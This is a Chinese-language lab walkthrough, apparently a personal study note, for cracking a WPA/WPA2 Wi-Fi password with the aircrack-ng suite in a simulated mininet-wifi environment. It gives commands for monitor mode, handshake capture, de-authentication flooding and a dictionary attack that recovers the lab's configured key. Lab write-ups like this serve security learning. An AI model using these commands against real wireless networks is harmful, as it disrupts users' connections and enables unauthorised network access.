# AirCrack-ng WPA/WPA2 加密 wifi 密碼
修改自:[Day 27: 暴力破解 WPA/WPA2 加密 wifi 密碼](https://hackmd.io/EnlAL16QRQOIXqONiHbvAw?both)

## 方法: 使用 aircrack-ng 軟體套件
## 實驗環境
- [mininet-wifi](https://github.com/intrig-unicamp/mininet-wifi)
- [Pre-configured Virtual Machine](https://github.com/intrig-unicamp/mininet-wifi#pre-configured-virtual-machine)
- [3.4GB Size] - Lubuntu 20.04 x64 - Mininet-WiFi (pass: wifi)
- [Installation](https://github.com/intrig-unicamp/mininet-wifi#installation)
- ubunru 16.04以上才能安裝
1. step 1: $ sudo apt-get install git
2. step 2: $ git clone https://github.com/intrig-unicamp/mininet-wifi
3. step 3: $ cd mininet-wifi
4. step 4: $ sudo util/install.sh -Wlnfv
- 內建`aircrack-ng`
- 如果沒有則sudo apt-get install aircrack-ng
## 模擬情境
sta 1: 攻擊者
透過 aircrack-ng 軟體套件進行密碼攻擊
sta 2 sta3 加入 ap1 裡頭
### Command
左下click > System Tools > Xterm
斷網
```shell
sudo systemctl stop NetworkManager
```
copy mininet-wifi/examples/authentication.py 到 /tmp,
切換到/tmp,對authentication.py進行編輯。
```shell
cp mininet-wifi/examples/authentication.py /tmp
vim /tmp/authentication.py
```
編輯成:
把 sta1 passwd,encrypt 拿掉;
複製 sat2 貼到下一行,改成sta3;
在addLink區塊,改成sta2,sta3。

#### 建立環境
```python
sudo python authentication.py
```
#### 在環境中,開啟終端
```shell
xterm sta1 sta1 #為了區別 以下標記sta1(1),sta1(2)
sta2 ping sta3 #平常時刻:連線正常;攻擊時刻:會中斷
```
- 把 sta1 的網卡變成**monitor mode**
In sta1(1):
```
iwconfig #查看網路卡
airmon-ng start sta1-wlan0 # yes
iwconfig # 監聽模式 Mode: Monitor
airodump-ng sta1-wlan0mon #搜尋附近基地台
# ssid: simplewifi
# bssid: 02:00:00:00:03:00
# 可以觀察到 兩台主機 sta1,sta2 有連到基地台
# channel: 1
```
- 進行封包收集
In sta1(1):
```
airodump-ng -w /tmp/wpatest -c 1 --bssid 02:00:00:00:03:00 sta1-wlan0mon
```
- 進行攻擊
主要是 de-authentication造成斷網,重新認證
In sta1(2):
```
aireplay -0 10 -a 02:00:00:00:03:00 --ignore-nagative-one sta1-wlan0mon
# -0: de-authentication的封包
# -0 10: de-authentication的封包 送十次
# -a 攻擊對象(bssid)設定
可以觀察到sta2與sta3有斷線的情況
```
- **WPA handshake**
In sta2(1):
可以看到 **WPA handshake**
PS: 如果沒有看到**WPA handshake**的封包,就不行進行破解
- 進行破解
準備密碼檔: password.lst
>aircrack-ng 有內建陽春版的字典檔,其他可以去網路上 Download
or
> 程式生成所有可能密碼
```
aircrack-ng -w password.lst /tmp/wpatest*.cap
# 結果顯示 KEY FOUND![123456789a]
```
- 驗收
在 `authentication.py`中 sta2,sta3 的密碼(passwd='123456789a'),
對照 KEY FOUND![123456789a] 是一樣的,代表破解成功!
### Reference
[使用 Aircrack-ng 暴力破解 WPA/WPA2 加密 wifi 密碼](http://shazikai.blogspot.com/2015/01/aircrack-ng-wpawpa2-wifi.html)
##### 限制
需要密碼檔(password.lst) 夠強大,且station使用AP 上網,
且攻擊者網卡有支援監聽模式的狀態下,才有機會破解密碼。
如果密碼檔包含所有密碼組合,破解就會是時間的問題!
> WPA2 提供最高 63 位元長度的密碼
{"metaMigratedAt":"2023-06-18T01:19:39.504Z","metaMigratedFrom":"Content","title":"AirCrack-ng WPA/WPA2 加密 wifi 密碼","breaks":true,"contributors":"[{\"id\":\"ecbc9e6a-7083-481c-930d-92396f392c36\",\"add\":3244,\"del\":437}]"}